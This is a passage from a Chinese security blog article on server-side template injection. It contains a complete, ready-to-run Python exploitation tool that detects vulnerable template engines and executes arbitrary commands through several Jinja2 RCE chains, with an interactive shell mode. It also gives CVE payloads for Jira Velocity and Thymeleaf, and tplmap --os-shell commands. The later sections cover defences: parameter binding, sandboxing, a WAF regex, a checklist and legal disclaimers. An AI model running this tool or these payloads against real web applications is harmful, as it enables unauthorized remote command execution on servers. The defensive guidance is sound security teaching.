CMD&nbsp;["python",&nbsp;"vuln_app.py"]
#&nbsp;构建并运行
docker&nbsp;build&nbsp;-t&nbsp;ssti-lab&nbsp;.
docker&nbsp;run&nbsp;-d&nbsp;-p&nbsp;5000:5000&nbsp;ssti-lab

8.3 一键检测+利用工具

#!/usr/bin/env&nbsp;python3
"""
SSTI&nbsp;一键检测与利用工具
支持:&nbsp;Jinja2,&nbsp;Twig,&nbsp;Freemarker,&nbsp;Smarty,&nbsp;Velocity,&nbsp;ERB
用法:&nbsp;python&nbsp;ssti_exploit.py&nbsp;<URL>&nbsp;<参数名>&nbsp;[命令]
"""

import&nbsp;requests
import&nbsp;sys
import&nbsp;urllib3
urllib3.disable_warnings()

class&nbsp;SSTIExploiter:
&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;__init__(self,&nbsp;url,&nbsp;param):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.url&nbsp;=&nbsp;url
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.param&nbsp;=&nbsp;param
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.engine&nbsp;=&nbsp;None
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.session&nbsp;=&nbsp;requests.Session()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.session.verify&nbsp;=&nbsp;False

&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;detect(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"""检测&nbsp;SSTI&nbsp;并识别引擎"""
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tests&nbsp;=&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;("{{7*7}}",&nbsp;"49",&nbsp;"jinja2_or_twig"),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;("{{7*'7'}}",&nbsp;"7777777",&nbsp;"jinja2"),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;("${7*7}",&nbsp;"49",&nbsp;"freemarker_or_velocity"),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;("<%=&nbsp;7*7&nbsp;%>",&nbsp;"49",&nbsp;"erb"),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;("{7*7}",&nbsp;"49",&nbsp;"smarty"),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[*]&nbsp;阶段1:&nbsp;检测&nbsp;SSTI&nbsp;漏洞")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;payload,&nbsp;expected,&nbsp;engine&nbsp;in&nbsp;tests:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;=&nbsp;self.session.get(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.url,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;params={self.param:&nbsp;payload},
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;timeout=10
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;expected&nbsp;in&nbsp;r.text:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.engine&nbsp;=&nbsp;engine
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;[+]&nbsp;命中!&nbsp;引擎:&nbsp;{engine}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Payload:&nbsp;{payload}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except&nbsp;Exception:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("&nbsp;&nbsp;[-]&nbsp;未检测到&nbsp;SSTI")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;False

&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;exploit_jinja2(self,&nbsp;cmd):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"""Jinja2&nbsp;RCE"""
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;payloads&nbsp;=&nbsp;[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Chain&nbsp;1:&nbsp;lipsum(最短)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f"{{{{lipsum.__globals__['os'].popen('{cmd}').read()}}}}",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Chain&nbsp;2:&nbsp;cycler
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f"{{{{cycler.__init__.__globals__.os.popen('{cmd}').read()}}}}",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Chain&nbsp;3:&nbsp;config
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f"{{{{config.__class__.__init__.__globals__['os'].popen('{cmd}').read()}}}}",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Chain&nbsp;4:&nbsp;MRO&nbsp;自动搜索
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"{{%&nbsp;for&nbsp;c&nbsp;in&nbsp;''.__class__.__mro__[1].__subclasses__()&nbsp;%}}"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"{{%&nbsp;if&nbsp;c.__name__=='Popen'&nbsp;%}}"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f"{{{{c('{cmd}',shell=True,stdout=-1).communicate()[0].decode()}}}}"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"{{%&nbsp;endif&nbsp;%}}{{%&nbsp;endfor&nbsp;%}}",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"\n[*]&nbsp;阶段2:&nbsp;执行命令&nbsp;'{cmd}'")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i,&nbsp;payload&nbsp;in&nbsp;enumerate(payloads,&nbsp;1):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r&nbsp;=&nbsp;self.session.get(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.url,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;params={self.param:&nbsp;payload},
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;timeout=15
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;简单清洗输出
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;text&nbsp;=&nbsp;r.text.strip()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len(text)&nbsp;>&nbsp;0&nbsp;and&nbsp;'Error'&nbsp;not&nbsp;in&nbsp;text:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;[+]&nbsp;Chain&nbsp;#{i}&nbsp;成功!")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;[*]&nbsp;输出:")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"&nbsp;&nbsp;{text}")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;True
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except&nbsp;Exception:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("&nbsp;&nbsp;[-]&nbsp;所有利用链均失败")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;False

&nbsp;&nbsp;&nbsp;&nbsp;def&nbsp;interactive(self):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"""交互式&nbsp;Shell"""
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("\n[*]&nbsp;进入交互模式&nbsp;(输入&nbsp;'exit'&nbsp;退出)")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[*]&nbsp;提示:&nbsp;支持常规&nbsp;Linux&nbsp;命令\n")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;True:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmd&nbsp;=&nbsp;input("\033[91mssti\033[0m&nbsp;>&nbsp;").strip()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;cmd.lower()&nbsp;in&nbsp;('exit',&nbsp;'quit',&nbsp;'q'):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[*]&nbsp;退出")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;cmd:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.exploit_jinja2(cmd)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;except&nbsp;KeyboardInterrupt:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("\n[*]&nbsp;退出")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp;&nbsp;&nbsp;&nbsp;banner&nbsp;=&nbsp;"""
&nbsp;&nbsp;____&nbsp;&nbsp;____&nbsp;_____&nbsp;___&nbsp;&nbsp;&nbsp;_____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_&nbsp;_
&nbsp;/&nbsp;___|/&nbsp;___|_&nbsp;&nbsp;&nbsp;_|_&nbsp;_|&nbsp;|&nbsp;____|_&nbsp;&nbsp;___&nbsp;__|&nbsp;|&nbsp;___&nbsp;(_)&nbsp;|_
&nbsp;\\___&nbsp;\\\\___&nbsp;\\&nbsp;|&nbsp;|&nbsp;&nbsp;|&nbsp;|&nbsp;&nbsp;|&nbsp;&nbsp;_|&nbsp;\\&nbsp;\\/&nbsp;/&nbsp;'_&nbsp;\\|&nbsp;/&nbsp;_&nbsp;\\|&nbsp;|&nbsp;__|
&nbsp;&nbsp;___)&nbsp;|___)&nbsp;||&nbsp;|&nbsp;&nbsp;|&nbsp;|&nbsp;&nbsp;|&nbsp;|___&nbsp;>&nbsp;&nbsp;<|&nbsp;|_)&nbsp;|&nbsp;|&nbsp;(_)&nbsp;|&nbsp;|&nbsp;|_
&nbsp;|____/|____/&nbsp;|_|&nbsp;|___|&nbsp;|_____/_/\\_\\&nbsp;.__/|_|\\___/|_|\\__|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|_|
&nbsp;&nbsp;&nbsp;&nbsp;"""
&nbsp;&nbsp;&nbsp;&nbsp;print(banner)

&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len(sys.argv)&nbsp;<&nbsp;3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"用法:&nbsp;{sys.argv[0]}&nbsp;<URL>&nbsp;<参数名>&nbsp;[命令]")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(f"示例:&nbsp;{sys.argv[0]}&nbsp;http://target/search&nbsp;q&nbsp;id")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(1)

&nbsp;&nbsp;&nbsp;&nbsp;exploiter&nbsp;=&nbsp;SSTIExploiter(sys.argv[1],&nbsp;sys.argv[2])
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;exploiter.detect():
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;len(sys.argv)&nbsp;>&nbsp;3:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exploiter.exploit_jinja2('&nbsp;'.join(sys.argv[3:]))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exploiter.interactive()

0x09 真实 CVE 案例

CVE-2019-11581 — Jira SSTI (CVSS 9.8)

Atlassian Jira Server/Data Center 中的模板注入漏洞,攻击者可通过联系管理员表单注入 Velocity 模板代码:

#&nbsp;影响版本
Jira&nbsp;Server&nbsp;<&nbsp;7.6.14,&nbsp;7.7.x-7.12.x,&nbsp;7.13.x&nbsp;<&nbsp;7.13.5,&nbsp;8.0.x&nbsp;<&nbsp;8.0.3,&nbsp;8.1.x&nbsp;<&nbsp;8.1.2,&nbsp;8.2.x&nbsp;<&nbsp;8.2.3

#&nbsp;利用条件
1.&nbsp;Jira&nbsp;配置了&nbsp;SMTP&nbsp;服务器
2.&nbsp;联系管理员表单已启用

#&nbsp;Payload(Velocity&nbsp;语法)
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('id')

CVE-2023-34362 — MOVEit Transfer SSTI

Progress MOVEit Transfer 中的模板注入导致 RCE,被 Cl0p 勒索团伙大规模利用:

#&nbsp;影响:&nbsp;MOVEit&nbsp;Transfer&nbsp;<&nbsp;2023.0.1
#&nbsp;攻击面:&nbsp;无需认证
#&nbsp;后果:&nbsp;大规模数据泄露事件

CVE-2020-35723 — Thymeleaf 视图名注入

Spring Boot + Thymeleaf 组合中,控制器返回值可被注入:

//&nbsp;漏洞控制器
@GetMapping("/doc/{document}")
public&nbsp;void&nbsp;getDocument(@PathVariable&nbsp;String&nbsp;document)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;document&nbsp;被用作视图名,触发&nbsp;Thymeleaf&nbsp;表达式解析
}

//&nbsp;Payload
/doc/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

0x0A 防御方案

10.1 根本解决:不要拼接用户输入到模板

#&nbsp;Python/Jinja2&nbsp;-&nbsp;错误
render_template_string(f"Hello&nbsp;{user_input}")

#&nbsp;Python/Jinja2&nbsp;-&nbsp;正确
render_template_string("Hello&nbsp;{{&nbsp;name&nbsp;}}",&nbsp;name=user_input)
//&nbsp;Java/Freemarker&nbsp;-&nbsp;错误
template.process("Hello&nbsp;"&nbsp;+&nbsp;userInput,&nbsp;out);

//&nbsp;Java/Freemarker&nbsp;-&nbsp;正确
Map<String,&nbsp;Object>&nbsp;model&nbsp;=&nbsp;new&nbsp;HashMap<>();
model.put("name",&nbsp;userInput);
template.process(model,&nbsp;out);
//&nbsp;PHP/Twig&nbsp;-&nbsp;错误
$twig->createTemplate("Hello&nbsp;"&nbsp;.&nbsp;$userInput)->render();

//&nbsp;PHP/Twig&nbsp;-&nbsp;正确
$twig->createTemplate("Hello&nbsp;{{&nbsp;name&nbsp;}}")->render(['name'&nbsp;=>&nbsp;$userInput]);

10.2 启用沙箱模式

#&nbsp;Jinja2&nbsp;沙箱
from&nbsp;jinja2.sandbox&nbsp;import&nbsp;SandboxedEnvironment

env&nbsp;=&nbsp;SandboxedEnvironment()
template&nbsp;=&nbsp;env.from_string("Hello&nbsp;{{&nbsp;name&nbsp;}}")
result&nbsp;=&nbsp;template.render(name=user_input)
#&nbsp;沙箱会阻止访问&nbsp;__class__、__mro__&nbsp;等危险属性
//&nbsp;Freemarker&nbsp;配置安全策略
Configuration&nbsp;cfg&nbsp;=&nbsp;new&nbsp;Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//&nbsp;禁止&nbsp;Execute、ObjectConstructor、JythonRuntime

10.3 WAF 规则

#&nbsp;Nginx&nbsp;层拦截模板语法特征
if&nbsp;($args&nbsp;~*&nbsp;"(\{\{|\$\{|<%|#\{|\{%|__class__|__mro__|__subclasses__|__globals__|__builtins__|__init__|lipsum|cycler|joiner|config|popen|system|exec|eval|getRuntime|ProcessBuilder|freemarker\.template)")&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;403;
}

10.4 安全开发检查清单

| 检查项 | 说明 | | — | — | | 模板变量绑定 | 使用模板引擎的变量传递机制,不拼接用户输入 | | 沙箱模式 | 启用模板引擎的沙箱/安全模式 | | 最小化暴露 | 限制模板中可访问的对象和方法 | | 输入过滤 | 对用户输入做白名单过滤 | | WAF 防护 | 部署 WAF 拦截模板语法特征 | | 版本更新 | 及时更新模板引擎版本 | | 代码审计 | 重点审计 render_template_stringTemplate()createTemplate() 等调用 | | 权限隔离 | 运行 Web 应用的用户使用最小权限 |


0x0B 工具推荐

| 工具 | 用途 | 链接 | | — | — | — | | tplmap | SSTI 自动检测与利用 | github.com/epinna/tplmap | | SSTImap | tplmap 的现代替代品 | github.com/vladko312/SSTImap | | Burp Suite | 手动测试 + Intruder 批量检测 | portswigger.net | | nuclei | 基于模板的漏洞扫描 | github.com/projectdiscovery/nuclei |

tplmap 使用示例:

#&nbsp;安装
git&nbsp;clone&nbsp;https://github.com/epinna/tplmap.git
cd&nbsp;tplmap
pip&nbsp;install&nbsp;-r&nbsp;requirements.txt

#&nbsp;自动检测+利用
python&nbsp;tplmap.py&nbsp;-u&nbsp;"http://target/page?name=test"

#&nbsp;获取&nbsp;shell
python&nbsp;tplmap.py&nbsp;-u&nbsp;"http://target/page?name=test"&nbsp;--os-shell

#&nbsp;指定引擎
python&nbsp;tplmap.py&nbsp;-u&nbsp;"http://target/page?name=test"&nbsp;-e&nbsp;jinja2

0x0C 参考资料

官方来源

  • PortSwigger – Server-Side Template Injection[1]
  • OWASP – Template Injection[2]
  • CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine[3]

技术分析

  • HackTricks – SSTI (Server Side Template Injection)[4]
  • PayloadsAllTheThings – Server Side Template Injection[5]
  • James Kettle – Server-Side Template Injection (Original Research)[6]

工具

  • tplmap – Server-Side Template Injection Exploitation Tool[7]
  • SSTImap – Modern SSTI Detection and Exploitation Tool[8]

免责声明: 本文所有技术内容仅用于安全研究和授权测试。未经授权对他人系统进行测试属于违法行为,请严格遵守《中华人民共和国网络安全法》等相关法律法规。

安全提示: 如果你在自己的项目中使用了模板引擎,请立即检查是否存在用户输入直接拼接到模板字符串的情况,并按照本文的防御方案进行修复。


作者:爱安全 Info | 关注我们获取更多网络安全技术干货

引用链接

[1]PortSwigger – Server-Side Template Injection: https://portswigger.net/web-security/server-side-template-injection

[2]OWASP – Template Injection: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection

[3]CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine: https://cwe.mitre.org/data/definitions/1336.html

[4]HackTricks – SSTI (Server Side Template Injection): https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

[5]PayloadsAllTheThings – Server Side Template Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

[6]James Kettle – Server-Side Template Injection (Original Research): https://portswigger.net/research/server-side-template-injection

[7]tplmap – Server-Side Template Injection Exploitation Tool: https://github.com/epinna/tplmap

[8]SSTImap – Modern SSTI Detection and Exploitation Tool: https://github.com/vladko312/SSTImap


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:爱安全Info 小悉 小悉《SSTI服务端模板注入:从原理到利用链全解析》

评论:0   参与:  0